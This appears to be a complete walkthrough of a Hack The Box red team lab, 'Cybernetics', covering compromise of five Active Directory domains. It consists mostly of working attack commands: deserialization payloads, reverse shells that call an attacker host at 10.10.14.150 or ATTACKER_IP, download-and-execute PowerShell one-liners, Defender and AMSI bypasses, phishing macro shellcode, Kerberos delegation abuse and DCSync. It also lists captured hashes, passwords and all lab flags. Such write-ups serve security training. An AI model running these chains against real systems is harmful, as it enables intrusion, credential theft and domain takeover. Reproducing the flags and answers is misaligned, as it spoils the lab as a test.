Pro Lab

HTB Pro Lab: Cybernetics

QA210·2025·Red Team · Active Directory · 25 Flags
Lab
Cybernetics
Category
Red Team Operator Level II
Domains
5 (cyber, core, m3c, d3v, inception)
Flags
25
Machines
28+
Key Techniques
AD, Kerberos, RBCD, DCSync, Phishing, DevOps
CYWEBDW DNN Deserialization Flag 1
SweetPotato SQL Link Crawl M3SQLW Flag 2
Constrained Delegation M3WEBAW Flag 3
RBCD M3DC Flag 4
Drupalgeddon2 COREWEBDL Flag 5
adtool enum Flag 6 ADCS + OWA
Phishing COREWKT001 Flag 7
AlwaysInstallElevated + Code Signing Flags 8-9
RBCD COREWKT002 Flag 10
COREWEBTW Tomcat WAR Flag 11
Unconstrained Delegation + DCSync Flags 12-15
MONITOR Zabbix RCE Flag 16
D3WEBJW Jenkins SAML Flag 17
Vault + Ansible Flags 18-20
Inception Domain Flags 21-25

Lab Overview

Cybernetics is an immersive enterprise Active Directory environment that features advanced infrastructure across five interconnected domains. Cybernetics LLC have enlisted your services to perform a red team assessment on their environment. The enterprise has gone through multiple pentest engagements, iteratively hardening their environment each time, and therefore has a more mature security posture. Many protection technologies are present and the modern operating systems are fully updated.

This Red Team Operator Level II lab focuses on Microsoft and DevOps/automation technologies. It is an extremely challenging and modern environment that pushes you to the limit across enumeration, exploitation, lateral movement, persistence and privilege escalation. There are 25 flags to capture along the way, some on the main attack path and others in side-quests. The lab exposes players to: Active Directory enumeration and exploitation, breakout techniques, evading endpoint protections, Kerberos abuse, lateral movement, phishing, privilege escalation, and web application attacks.

Hosts File Configuration

Before starting, configure your /etc/hosts with all discovered hosts:

bash
# Cybernetics Perimeter
10.10.110.10  cywebdw
10.10.110.11  certenroll.cyber.local
10.10.110.12  mail.cyber.local jenkins.cyber.local adfs.cyber.local
10.10.110.15  cygw.cyber.local
10.10.110.250 CYBERNETICS-FW

# CYBER.LOCAL
10.9.10.10    cydc.cyber.local cyber.local
10.9.10.11    cyadfs.cyber.local
10.9.10.12    cywap.cyber.local
10.9.10.13    cymx.cyber.local
10.9.10.14    cyfs.cyber.local
10.9.10.18    cyapp.cyber.local
10.9.10.17    cygw.cyber.local

# CORE.CYBER.LOCAL
10.9.15.10    coredc.core.cyber.local
10.9.15.11    corewebdl.core.cyber.local
10.9.15.12    corewebtw.core.cyber.local
10.9.15.200   corewkt001.core.cyber.local
10.9.15.201   corewkt002.core.cyber.local

# M3C.LOCAL
10.9.20.10    m3dc.m3c.local
10.9.20.11    m3sqlw.m3c.local
10.9.20.12    m3webaw.m3c.local
10.9.20.13    cywebdw

# D3V.LOCAL
10.9.30.10    d3v.local
10.9.30.11    ansible.cyber.local
10.9.30.13    vault.cyber.local

# INCEPTION.LOCAL
10.9.40.5     indc.inception.local
10.9.40.11    gitlab.inception.local
10.9.40.12    inwebjw.inception.local
10.9.40.200   inwkt001.inception.local
10.9.40.201   inwkt002.inception.local

Perimeter Enumeration

The initial entry point is the 10.10.110.0/24 subnet. A comprehensive Nmap scan of the perimeter reveals several interesting services. The primary target is 10.10.110.10 which runs Microsoft IIS httpd 10.0 on port 80, hosting a DotNetNuke (DNN) CMS application. This becomes our foothold vector.

bash
# Nmap scan of the perimeter host
nmap -sC -sV -p- 10.10.110.10

PORT    STATE SERVICE  VERSION
80/tcp  open  http     Microsoft IIS httpd 10.0
443/tcp closed https
3391/tcp closed savant
49443/tcp closed unknown

Other perimeter machines include 10.10.110.11 (certenroll.cyber.local) running IIS with SSL certificates revealing the cyber.local domain, 10.10.110.12 running mail/Jenkins/ADFS services, 10.10.110.15 (cygw.cyber.local) with a default IIS page and an RPC endpoint, and 10.10.110.250 running an OPNsense firewall login page.

Foothold — CYWEBDW (10.10.110.10)

DNN CMS Enumeration

Port 80 reveals a DotNetNuke (DNN) CMS application. The robots.txt file contains standard DNN disallow entries for paths like /admin/, /App_Browsers/, /App_Code/, /DesktopModules/ and others. Directory scanning with ffuf confirms the CMS and discovers useful paths including privacy/, home/, logoff/, terms/, and critically robots.txt and desktopmodules/.

bash
ffuf -u http://10.10.110.10/FUZZ -w /weblists/raft-medium-words-lowercase.txt -e /,.txt,.html,.php

A flag.txt file is directly accessible on the web server, which also hints at the exploitation method:

Flag 1 — Deserialization
Cyb3rN3t1C5{De$3R!al!z@ti0n}

DNN Deserialization Exploit

The flag name strongly suggests the exploitation vector. DNN has a known insecure deserialization vulnerability in the DNNPersonalization cookie that allows remote code execution through ysoserial.net. The vulnerability exists because DNN deserializes user preference cookies without proper type restrictions, allowing an attacker to inject arbitrary .NET objects.

First, we test the exploit by reading a file using ysoserial's built-in DotNetNuke plugin:

powershell
# Generate a payload to read win.ini via DNN deserialization
.\ysoserial.exe -p DotNetNuke -m read_file -f C:\Windows\win.ini

The generated payload is set as the DNNPersonalization cookie in an HTTP request to the server. The request must 404 for the deserialization to trigger properly. Upon success, the contents of win.ini are returned in the response, confirming the vulnerability works.

Getting a Shell

To obtain a proper shell, we modify the ysoserial payload to use the UploadFile1.xml technique. This method leverages the PullFile method of FileSystemUtils to download a file from our attacker machine and save it to the target filesystem. Since c:\dotnetnuke\ is the working directory of the application, files placed there are accessible via the web server.

xml
<ProjectedProperty0>
  <MethodName>PullFile</MethodName>
  <MethodParameters>
    <anyType type="xsd:string">http://ATTACKER_IP/shell.aspx</anyType>
    <anyType type="xsd:string">C:\dotnetnuke\shell.aspx</anyType>
  </MethodParameters>
</ProjectedProperty0>

This downloads shell.aspx (an ASPX reverse shell) from our machine and uploads it to C:\dotnetnuke\shell.aspx, which is then accessible at http://10.10.110.10/shell.aspx. Browsing to this page triggers the reverse shell, giving us initial foothold as a low-privileged user on CYWEBDW.

Privilege Escalation — CYWEBDW

Running whoami /priv reveals SeImpersonatePrivilege is enabled, which is the classic path to SYSTEM on Windows machines. We upload SweetPotato (a Potato family exploit) and execute it to escalate to NT AUTHORITY\SYSTEM:

powershell
# Escalate to SYSTEM using SweetPotato
.\sweetpotato.exe -p c:\programdata\win64.exe -e EfsRpc

With SYSTEM access, we disable Windows Defender to allow tool execution without interference:

powershell
Set-MpPreference -DisableRealtimeMonitoring $true

Lateral Movement — SQL Server Link Crawl to M3SQLW

Attempting to dump credentials with mimikatz yields no useful hashes on this machine since it is not domain-joined. However, running PowerUpSQL reveals linked SQL servers. The Get-SQLServerLinkCrawl command discovers that CYWEBDW has a linked SQL server — M3SQLW — and we have SA-level access through the link.

powershell
# Import PowerUpSQL and discover linked servers
. .\PowerUpSQL.ps1
Get-SQLServerLinkCrawl -Verbose

Since we have SA privileges on M3SQLW through the SQL link, we can enable xp_cmdshell and execute system commands. The commands must be run through the linked server using the AT clause, with nested quotes escaped:

bash
# Enable advanced options on M3SQLW via linked server
osql -E -S "CYWEBDW" -Q "EXEC('sp_configure ''show advanced options'',1;RECONFIGURE;') AT [m3sqlw.m3c.local]"

# Enable xp_cmdshell
osql -E -S "CYWEBDW" -Q "EXEC('sp_configure ''xp_cmdshell'',1;RECONFIGURE;') AT [m3sqlw.m3c.local]"

# Execute commands on M3SQLW
osql -E -S "CYWEBDW" -Q "EXEC('xp_cmdshell whoami') AT [m3sqlw.m3c.local]"

M3SQLW is domain-joined to m3c.local, making it the gateway into the Active Directory portion of the lab. To bypass endpoint protection on the target, an obfuscated PowerShell reverse shell is uploaded and executed, providing a stable shell on the machine.

Flag 2 — SQL Server Link Crawl
Cyb3rN3t1C5{Sql$erv3rL!nkCr@wl}

Privilege Escalation on M3SQLW

Again, SeImpersonatePrivilege is present. SweetPotato provides SYSTEM access. Since this machine is domain-joined, we can now run SharpHound to collect BloodHound data and dump local SAM hashes using the registry hive method:

bash
# Dump registry hives for offline hash extraction
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system

# Extract hashes offline
secretsdump.py -sam sam -system system LOCAL

This produces the local Administrator hash for M3DC:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:a4650d24d20a42fefcc254fc591ebf43:::

Constrained Delegation — M3WEBAW (10.9.20.12)

BloodHound analysis reveals that svc_sql has constrained delegation over m3webaw.m3c.local. The SPN time/m3webaw.m3c.local maps to HOST, meaning we can obtain service tickets for the machine. The exploitation path requires obtaining a TGT for svc_sql, then using S4U2Self and S4U2Proxy to impersonate a domain admin.

powershell
# Kerberoast svc_sql to get TGT
.\Rubeus.exe kerberoast /target:svc_sql

# Get a usable TGT via tgtdeleg
.\Rubeus.exe tgtdeleg

# S4U to impersonate Michael.Crosley (Domain Admin)
.\Rubeus.exe s4u /ticket: /impersonateuser:Michael.Crosley /msdsspn:http/m3webaw.m3c.local /ptt

With the ticket for Michael.Crosley, we can create a WinRM session to M3WEBAW and execute commands:

powershell
$session = new-pssession -computername m3webaw.m3c.local
invoke-command $session { iwr -usebasicparsing -outfile win64.exe 10.10.14.150/win64 }

ActiveMQ Credentials

An ActiveMQ installation is found in the root directory. Examining configuration files reveals credentials and a flag:

powershell
type c:\activeMQ\conf\jetty-realm.properties
# admin:3f18DV^t!svBV4ntcrLRTWi2XaMCDK

type c:\activeMQ\conf\jetty.xml
# Web console on port 8161
Flag 3 — Credentials in Files
Cyb3rN3t1C5{CR3d$_!n_fil3s}

Shell via JSP Upload

The ActiveMQ web console on port 8161 runs JSP pages. Since we have filesystem access, we can write a JSP shell to the web application directory and trigger it through the browser. The svc_apache user is obtained through this method, which becomes important for the next lateral movement step.

RBCD — M3DC (10.9.20.10)

BloodHound shows that svc_apache has GenericWrite over M3DC. This means we can perform Resource-Based Constrained Delegation (RBCD) by setting the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on M3DC, allowing a machine account we control to delegate and impersonate any user.

Since AMSI is enabled, a bypass is required before loading PowerShell tools. The attack chain involves uploading an AMSI bypass script (ligma.ps1), the RBCD setup script (root.ps1), and a combined execution script (doit.ps1):

powershell
# Execute the RBCD chain
iex ((new-object net.webclient).downloadstring("http://10.10.14.150:443/root.ps1"))
iex ((new-object net.webclient).downloadstring("http://10.10.14.150:443/doit.ps1"))

# Get S4U ticket with Rubeus
.\Rubeus.exe tgtdeleg
.\Rubeus.exe s4u /user:svc_apache /ticket: /impersonateuser:Administrator /msdsspn:cifs/m3dc.m3c.local /ptt

With Administrator access to M3DC, we use PsExec to get a shell:

powershell
.\PsExec.exe -accepteula \\m3dc powershell -c "iwr -usebasicparsing 10.10.14.150/win64 -outfile c:\programdata\win64.exe;c:\programdata\win64.exe"
Flag 4 — Constrained Delegation
Cyb3rN3t1C5{C0n$tr@!n3d!}

DCSync — M3C.LOCAL

As Domain Admin on M3DC, we dump all domain credentials using ntdsutil:

bash
# Dump NTDS database
ntdsutil activate instance ntds ifm create full C:\ntdsutil quit quit

# Extract hashes offline
secretsdump.py -security ntdsutil/registry/SECURITY -system ntdsutil/registry/SYSTEM -ntds "ntdsutil/Active Directory/ntds.dit" LOCAL

This reveals a transitive trust relationship between m3c.local and cyber.local, opening the path to the parent and child domains.

Cross-Domain — COREWEBDL (10.9.15.11)

Host scanning from M3DC reveals machines in the 10.9.15.0/24 subnet. Port 80 is open on 10.9.15.11. Browsing to this address shows a corporate website with information about network segmentation, Zabbix monitoring, and certificate enrollment procedures.

Drupalgeddon2 RCE

The website footer reveals it runs Drupal CMS. Droopescan confirms the version, and CVE-2018-7600 (Drupalgeddon2) provides unauthenticated remote code execution:

bash
# Scan Drupal version
droopescan scan drupal -u http://10.9.15.11/

# Exploit with Drupalgeddon2
ruby drupalgeddon2.rb http://10.9.15.11

A shell is obtained as the web service user on COREWEBDL (a Linux machine). A beacon is dropped for persistent access:

bash
wget 10.10.14.150/lin64 -O /tmp/lin64
chmod 755 /tmp/lin64
/tmp/lin64
Flag 5 — Welcome to Cybernetics
Cyb3rN3t1C5{W3lC0m3_2_Cyb3rn3t!cs}

AD Enumeration with adtool (Flag 6)

COREWEBDL has PBIS installed, enabling Active Directory enumeration using adtool with the machine's Kerberos keytab. We enumerate organizational units, users, and their attributes. Examining user descriptions reveals credentials for George Wirth:

bash
# Enumerate users with descriptions
./adtool --keytab=/etc/krb5.keytab --logon-as=COREWEBDL$ -a search-user \
  --search-base 'OU=Users,OU=core,DC=core,DC=cyber,DC=local' --name '*' | xargs \
  -I{} ./adtool --keytab=/etc/krb5.keytab --logon-as=COREWEBDL$ -a lookup-object --dn "{}"

# Get specific description
./adtool --keytab=/etc/krb5.keytab --logon-as=COREWEBDL$ -a lookup-object \
  --attr=description --dn 'CN=George Wirth,OU=Interns,OU=Users,OU=core,DC=core,DC=cyber,DC=local'
Flag 6 — Credentials in Descriptions
Cyb3rN3t1C5{Cr3d$_!n_De$cr!pti0ns}

Credentials found: George.Wirth:v765#QLm^8

Certificate Enrollment & OWA Access

Using George Wirth's credentials, we download the RootCA from the SYSVOL share on the domain controller:

bash
smbclient -U 'CORE\George.Wirth%v765#QLm^8' //10.9.10.10/SYSVOL

The certificate enrollment process requires Windows. After installing OpenVPN and connecting, we import the RootCA, add a new enrollment policy pointing to https://certenroll.cyber.local/ADPolicyProvider_CEP_UsernamePassword/service.svc/CEP, authenticate with George's credentials, and request a UserCert. With the certificate installed, we can access the Outlook Web App (OWA) at https://mail.cyber.local/owa/.

Phishing — COREWKT001 (Flag 7)

With OWA access, the next logical step is phishing. The target is Ilene_Rasch@cyber.local, identified from the corporate website. A macro-based attack is crafted using shellcode embedded in a Word document:

powershell
# Generate shellcode with msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.150 LPORT=443 -f csharp

# Encode shellcode (add 2 to each byte, wrap in VBA array)
# Purge with BadAssMacros to evade AV detection

The VBA macro uses VirtualAlloc, RtlMoveMemory, and CreateThread to execute the encoded shellcode in memory. After sending the .docm file to Ilene via email, a bot on COREWKT001 executes the macro, giving us a shell. Examining scheduled tasks reveals the OpenEmail task and its associated PowerShell module Invoke-OpenEmail:

powershell
# View scheduled task details
schtasks /query /v /tn:openemail

# Task runs: powershell.exe -windowstyle minimized Invoke-OpenEmail
# Module at: C:\Program Files\WindowsPowerShell\Modules\Invoke-OpenEmail\
Flag 7 — Phishing
Cyb3rN3t1C5{Y0u_C@nt_Ph!$h_M3}

AlwaysInstallElevated & Code Signing (Flags 8-9)

Regular enumeration on COREWKT001 shows that AlwaysInstallElevated is configured in both HKLM and HKCU registry keys. This means MSI files run with elevated privileges regardless of the executing user. However, the lab enforces code signing policies, so the MSI must be signed with a valid certificate.

powershell
# Verify AlwaysInstallElevated is set
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

DevOps Share — Encrypted Credentials

Enumerating SMB shares on cyfs.cyber.local reveals a readable DevOps share containing encrypted credentials. The ReadMe.txt explains this is an example of securely storing credentials, and passwd.txt contains an SSAPI-encrypted string alongside aes.key with decimal AES key values.

python
#!/usr/bin/env python
import base64
from Crypto.Cipher import AES

SS_DEFAULT_HEADER = '76492d1116743f0423413b16050a5345'
SS_DEFAULT_ENCODING = 'utf_16_le'

def convert_to_secure_string(key, data, header=SS_DEFAULT_HEADER, enc=SS_DEFAULT_ENCODING):
    key_str = str(bytearray(key))
    data = data[len(header):]
    p = base64.b64decode(data)
    if enc:
        p = p.decode(enc)
    p = p.split('|')
    if len(p) != 3 or p[0] != '2':
        return None
    iv_str = base64.b64decode(p[1])
    ciphertext = p[2].decode('hex')
    cipher = AES.new(key_str, AES.MODE_CBC, iv_str)
    decrypted = cipher.decrypt(ciphertext)
    return decrypted.rstrip('\x00')
Flag 8 — DevOps Secure Credentials
Cyb3rN3t1C5{D3vOP$_S3cure_Cr3d$}

Signing the MSI

To get a signing certificate, we request a CyberSigning certificate from ADCS using Robert.Ortiz's credentials. After importing the certificate, we retrieve its thumbprint and sign the MSI:

powershell
# Sign the MSI with the certificate
$cert = Get-ChildItem Cert:\CurrentUser\My\
Set-AuthenticodeSignature -Certificate $cert -FilePath .\cre4k.msi

# Execute the signed MSI for SYSTEM
msiexec /quiet /qn /i cre4k.msi
Flag 9 — DevOps Code Signing
Cyb3rN3t1C5{D3vOP$_C0d3_S!gning}

RBCD — COREWKT002 (Flag 10)

BloodHound reveals that Ilene.Rasch has AllExtendedRights and WriteAccountRestrictions over COREWKT002. This allows another RBCD attack — setting PrincipalsAllowedToDelegateToAccount on COREWKT002 to COREWKT001, then using Rubeus S4U to impersonate Administrator:

powershell
# Set RBCD using ActiveDirectory module
$src = Get-ADComputer COREWKT001 -server coredc.core.cyber.local
$tgt = Get-ADComputer COREWKT002 -server coredc.core.cyber.local
Set-ADComputer -Identity $tgt -PrincipalsAllowedToDelegateToAccount $src -server coredc.core.cyber.local

# S4U with Rubeus
.\rubeus.exe tgtdeleg
.\rubeus.exe s4u /ticket: /impersonateuser:Administrator /msdsspn:cifs/COREWKT002.core.cyber.local /altservice:cifs,host,ldap,http /ptt
Flag 10 — CreatorSID
Cyb3rN3t1C5{CR3@t0rS!D}

COREWEBTW — Tomcat WAR (Flag 11)

On COREWKT002, running mimikatz lsadump::secrets reveals additional credentials. Spraying these across the domain with crackmapexec finds a valid login for COREWEBTW. The machine has a Tomcat installation listening on port 8080. We exploit this by uploading a WAR file containing a JSP reverse shell:

bash
# Create WAR payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.150 LPORT=443 -f war > jspShell.war

# Transfer to Tomcat webapps directory
# Machine auto-deploys WAR, creating jspShell directory

# Trigger shell
# Browse to: http://corewebtw.core.cyber.local:8080/jspShell/ulgwfnhfbxkwr.jsp

The initial shell runs as NT AUTHORITY\NETWORK SERVICE, which has SeImpersonatePrivilege. SweetPotato elevates to SYSTEM:

powershell
SweetPotato.vmp.exe -p c:\programdata\win64.exe -e EfsRpc
Flag 11 — Tomcat Web Apps
Cyb3rN3t1C5{T0mc@t_W3b@pp$}

Unconstrained Delegation & DCSync (Flags 12-15)

COREWEBTW has unconstrained delegation enabled. This is a powerful misconfiguration that allows the machine to cache TGTs of any user who authenticates to it. Using the SpoolSample trick, we can force a domain controller to authenticate to our compromised machine, capturing its TGT:

powershell
# Terminal 1: Monitor for incoming TGTs
.\Rubeus.exe monitor /interval:1

# Terminal 2: Trigger authentication via Print Spooler
.\SpoolSample.exe coredc.core.cyber.local corewebtw.core.cyber.local

Rubeus captures the TGT for COREDC$. We pass the ticket and use DCSync to dump all domain hashes:

powershell
# Pass the captured ticket
.\rubeus.exe ptt /ticket:

# DCSync the cyber.local domain
.\mimikatz.exe "token::elevate" "lsadump::dcsync /user:CORE\krbtgt /all" "exit"

With Domain Admin hashes for both cyber.local and core.cyber.local, we can now access any machine in these domains.

CYAPP — RDS Flags (12-13)

bash
# Access CYAPP with DA hash
evil-winrm -H 8306115eb5aeb7072c5c601b8507a562 -u Administrator -i cydc.cyber.local

# Access CYAPP directly
wmiexec.py -hashes :20722596f1c4c20088e44e9c051dc284 John.Braud@cyapp.cyber.local
Flag 12 — RDS User Shell
Cyb3rN3t1C5{RD$_U$3r_$h3ll}
Flag 13 — RDS App Breakout
Cyb3rN3t1C5{RD$_App$_Br3ak0ut$}

Parent & Child Domain Takeover (14-15)

bash
# Access CYDC (parent domain)
evil-winrm -H 8306115eb5aeb7072c5c601b8507a562 -u Administrator -i cydc.cyber.local

# Access COREDC (child domain)
evil-winrm -u Administrator -H b519f7764f7672e6a4a77cba6fb8fcdf -i coredc.core.cyber.local
Flag 14 — Parent Domain Takeover
Cyb3rN3t1C5{P@r3nt_D0ma!n_T@ke0v3r}
Flag 15 — Child Domain Takeover
Cyb3rN3t1C5{Ch!ld_D0ma!n_T@ke0v3r}

Monitor — Zabbix RCE (Flag 16)

The flag name "Monitoring tools gone astray" hints at the Zabbix monitoring platform. Port scanning reveals port 80 on 10.9.10.16. Directory scanning discovers /zabbix. The Zabbix API is accessible without GUI authentication. Using the credentials zabapi:Zabbix (found from corewebdl's Drupal data), we authenticate via the JSON-RPC API:

json
{
  "params": {
    "password": "Zabbix",
    "user": "zabapi"
  },
  "jsonrpc": "2.0",
  "method": "user.login",
  "id": 1
}

The API session token allows us to create new monitoring items with the system.run key, which executes arbitrary commands on the monitored host:

json
{
  "params": {
    "name": "arbitraryName",
    "key_": "system.run[\"whoami\"]",
    "hostid": "10106",
    "type": 0,
    "value_type": 3,
    "interfaceid": 2,
    "delay": 60
  },
  "jsonrpc": "2.0",
  "method": "item.create",
  "auth": "8e86b3f9d793256b07aeef1c4c82f608",
  "id": 1
}
Flag 16 — Monitor Tool RCE
Cyb3rN3t1C5{M0n!t0r_t00l_RC3}

Jenkins — D3WEBJW (Flag 17)

Spraying the password obtained from the Zabbix user reveals valid credentials for James.Peck@d3v.local:ohD6ubo5ie. Using certipy (version 2.0.9, as 4.0 has compatibility issues), we request a certificate and access https://jenkins.cyber.local. The Jenkins instance has an accessible Script Console, allowing Groovy code execution:

java
String host = "10.10.14.150";
int port = 8044;
String cmd = "cmd.exe";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
  while (pi.available() > 0) so.write(pi.read());
  while (pe.available() > 0) so.write(pe.read());
  while (si.available() > 0) po.write(si.read());
  so.flush(); po.flush();
  Thread.sleep(50);
  try { p.exitValue(); break; } catch (Exception e) {}
}
p.destroy(); s.close();

SeImpersonatePrivilege is present again. SweetPotato provides SYSTEM:

Flag 17 — Jenkins SAML
Cyb3rN3t1C5{J3nk!n$_$AML}

HashiCorp Vault & Ansible (Flags 18-20)

HashiCorp Vault (Flag 18)

Notes found on D3WEBJW contain development instructions mentioning Vault configuration and Ansible playbook secrets. Encrypted files include ansible_passwd.txt (SSAPI-encrypted base64) and ansible_aes.key (decimal AES key). Decrypting with PowerShell reveals the Ansible service password:

powershell
$encryptedPassword = "76492d1116743f0423413b16050a5345MgB8AEwAbgBiADIAaQBCAEIAMgBTADkARQBVAEsASwBhAFkAcQBpAHIAawBLAGcAPQA9AHwAYQBjAGIAMQA5ADQANAA2AGIAMABhADEANgAwAGUAMgBhADUAMwBkADYANQA4ADQAYwBmADkAZAA3AGQAMQAyADAANQAxADQAMwAwADcAOQBjADYAZQAyADEAYgBlADUAOQA3ADgAMgAyAGUAYwA0ADgAMwA4AGEAYwA1AGMAZgA="
$key = (49,222,253,86,26,137,92,43,29,200,17,203,88,97,39,38,60,119,46,44,219,179,13,194,191,199,78,10,4,40,87,159)

SSH into the Ansible machine with James.Weeks credentials, then access Vault:

bash
# SSH to ansible machine
ssh JAMES.WEEKS@ansible.cyber.local

# Access HashiCorp Vault
export VAULT_ADDR=http://10.9.30.13:8200
./vault login -method=userpass username=ansible
# Password: 6daDjIU0UqEdvGI

# List and read secrets
./vault kv list secret/
./vault kv get secret/Cybernetics-Flag
Flag 18 — Vault API
Cyb3rN3t1C5{V@ult_AP!}

Ansible Vault Decryption (Flag 19)

The /ansible directory contains encrypted Ansible Vault files. The vault password (from HashiCorp Vault: aXYxQqxIWldJHX5sJVrCzVEkdQmP33) decrypts them:

bash
# Decrypt ansible-vault encrypted file
ansible-vault decrypt flag.yml --output=/dev/stdout
# Supply password: aXYxQqxIWldJHX5sJVrCzVEkdQmP33
Flag 19 — Ansible Encryption
Cyb3rN3t1C5{An$!bl3_3ncrypt!0n}

D3DC (Flag 20)

The group_vars directory contains another encrypted variable: ansible_password for Administrator@D3V.LOCAL. Decrypting with the same vault password reveals the Domain Admin credentials for the D3V domain. Using evil-winrm with these credentials provides access to D3DC:

bash
# Access D3DC with decrypted Administrator credentials
evil-winrm -u Administrator@D3V.LOCAL -p '' -i d3dc.d3v.local
Flag 20 — Core Meltdown
Cyb3rN3t1C5{C0r3_M3ltd0wn}

Inception Domain (Flags 21-25)

Unattended Credentials (Flag 21)

Returning to CYDC, we spray dumped hashes against the inception.local domain and find Robert.Lanza is valid. Host discovery reveals machines at 10.9.40.x. The SMB share ADMINS$ (note the S) on INWKT001 contains what looks like C:\windows. Within C:\windows\panther, unattended installation XML files contain credentials:

xml
<UserAccounts>
  <LocalAccounts>
    <LocalAccount wcm:action="add">
      <Password>
        <Value>Q3liM3JOM3QxQzV7VW5AdHQzbmRKMCFuQ3IzZCR9</Value>
        <PlainText>false</PlainText>
      </Password>
      <DisplayName>Administrator</DisplayName>
      <Group>Administrators</Group>
      <Name>Administrator</Name>
    </LocalAccount>
  </LocalAccounts>
</UserAccounts>

The base64-encoded password decodes to the flag:

Flag 21 — Unattended Join Creds
Cyb3rN3t1C5{Un@tt3ndJ0!nCr3d$}

Ruler Phishing — INWKT001 (Flags 22-23)

Robert.Lanza has AllExtendedRights over INWKT001, but RBCD via PowerShell doesn't work from CYDC. Instead, we use the Ruler tool to exploit Exchange and gain code execution through homepage modification and .hta delivery:

bash
# Add homepage rule via Ruler
./ruler.exe -u Robert.Lanza -p "U=zk1J.TYru U*" -e robert.lanza@cyber.local \
  -d CYBER.local --insecure homepage add -u http://10.10.14.150:443/webdav/test.html

# Add form rule with HTA payload
./ruler.exe --email robert.lanza@cyber.local --username robert.lanza \
  --password "U=zk1J.TYruU*" add --location "\\\\10.10.14.150@8080\\webdav\\shell.hta"
Flag 22 — Office Shells
Cyb3rN3t1C5{0ff!c3Sh3llz}

Robert's desktop contains a VPN folder with an EFS-encrypted otp.png file. After importing the EFS certificate from the certificate store and adding it to Trusted People, the file becomes readable. The QR code inside contains a TOTP secret for VPN authentication:

bash
# Check EFS certificate fingerprint
cipher /c .\otp.png

# Import certificate to current user store
move-item -path cert:\CurrentUser\TrustedPeople\54A125B3FAEEAFE7C7546165C4E77DD87D3BF0E1 \
  -destination cert:\CurrentUser\MY\

# Read the QR code: otpauth://totp/Robert.Lanza@OPNsense?secret=QZRPBGCUGGDFJZDKRBZGXZYG7LMTMX3N
Flag 23 — EFS Encryption
Cyb3rN3t1C5{EF$_3ncrypt3!0n}

GitLab RCE — INWEBJW (Flag 24)

After connecting via VPN with Robert.Lanza's credentials + TOTP, Responder captures NTLM authentication from svc_inventory. NTLM relay to INWKT002 gives SQL access with sa privileges. Enabling xp_cmdshell yields a shell, and a DevOPS folder contains gitlab.txt with an access token.

GitLab version 13.2.6 is vulnerable to CI/CD pipeline RCE. We create a project, add a malicious .gitlab-ci.yml that executes a PowerShell beacon, and trigger the pipeline:

bash
# Access GitLab API
curl -s --header "Authorization: Bearer sgvzNuXEiz48geasgxBD" \
  "http://gitlab.inception.local/api/v4/user"

# Create a project
curl -X POST --header "Authorization: Bearer sgvzNuXEiz48geasgxBD" \
  'http://gitlab.inception.local/api/v4/projects?name=test2&visibility=public'

# Add user to project
curl -X POST --header "Authorization: Bearer sgvzNuXEiz48geasgxBD" \
  'http://gitlab.inception.local/api/v4/projects/6/members?user_id=6&access_level=40'

The .gitlab-ci.yml pipeline executes PowerShell on the runner:

yaml
stages:
  - build
build_job:
  stage: build
  tags:
    - powershell
  script:
    - 'iwr -usebasicparsing -outfile c:\programdata\win64.exe 10.10.14.150/win64; c:\programdata\win64.exe'
Flag 24 — GitLab RCE
Cyb3rN3t1C5{G!tl@bRC3}

GMSA Password — INDC (Flag 25)

BloodHound shows that INWEBJW can read the GMSA (Group Managed Service Account) password of svc_gitlab_rn$, which is a Domain Admin. Using GMSAPasswordReader, we extract the NT hash:

powershell
# Read GMSA password
.\GMSAPasswordReader.exe --AccountName SVC_GITLAB_RN
# Hash: B9B9F9055BBA4DF0FC6805865D14A84A

# Authenticate as GMSA to DC
evil-winrm -u 'SVC_GITLAB_RN$' -H 'B9B9F9055BBA4DF0FC6805865D14A84A' -i indc.inception.local
Flag 25 — Never Stop Dreaming
Cyb3rN3t1C5{N3v3r$t0pDr3@m!ng}

Attack Summary

The Cybernetics Pro Lab demonstrates a comprehensive red team engagement spanning five interconnected Active Directory domains. The attack chain begins with a DNN deserialization vulnerability on the perimeter, pivots through SQL Server linked instances, leverages Kerberos delegation attacks (constrained, RBCD, and unconstrained), exploits DevOps infrastructure (Jenkins, GitLab, Ansible, HashiCorp Vault), uses phishing for initial access to workstations, and ultimately achieves domain admin across all five domains through DCSync, GMSA password reads, and cross-domain trust exploitation.

Key Takeaways

This lab emphasizes the importance of defense-in-depth. A single deserialization vulnerability on the perimeter cascaded into full enterprise compromise through chained attacks. The key lessons include: always validate and restrict deserialization, monitor for delegation misconfigurations, secure DevOps pipelines and secrets management, enforce code signing properly, and audit cross-domain trust relationships.

FlagNameLocation
1De$3R!al!z@ti0nCYWEBDW (10.10.110.10)
2Sql$erv3rL!nkCr@wlM3SQLW (10.9.20.11)
3CR3d$_!n_fil3sM3WEBAW (10.9.20.12)
4C0n$tr@!n3d!M3DC (10.9.20.10)
5W3lC0m3_2_Cyb3rn3t!csCOREWEBDL (10.9.15.11)
6Cr3d$_!n_De$cr!pti0nsCOREWEBDL LDAP
7Y0u_C@nt_Ph!$h_M3COREWKT001 (10.9.15.200)
8D3vOP$_S3cure_Cr3d$DevOps share (cyfs.cyber.local)
9D3vOP$_C0d3_S!gningCOREWKT001
10CR3@t0rS!DCOREWKT002 (10.9.15.201)
11T0mc@t_W3b@pp$COREWEBTW (10.9.15.12)
12RD$_U$3r_$h3llCYAPP (10.9.10.18)
13RD$_App$_Br3ak0ut$CYAPP
14P@r3nt_D0ma!n_T@ke0v3rCYDC (10.9.10.10)
15Ch!ld_D0ma!n_T@ke0v3rCOREDC (10.9.15.10)
16M0n!t0r_t00l_RC3MONITOR (10.9.10.16)
17J3nk!n$_$AMLD3WEBJW (10.9.30.12)
18V@ult_AP!VAULT (10.9.30.13)
19An$!bl3_3ncrypt!0nANSIBLE (10.9.30.11)
20C0r3_M3ltd0wnD3DC (10.9.30.10)
21Un@tt3ndJ0!nCr3d$INWKT001 (10.9.40.200)
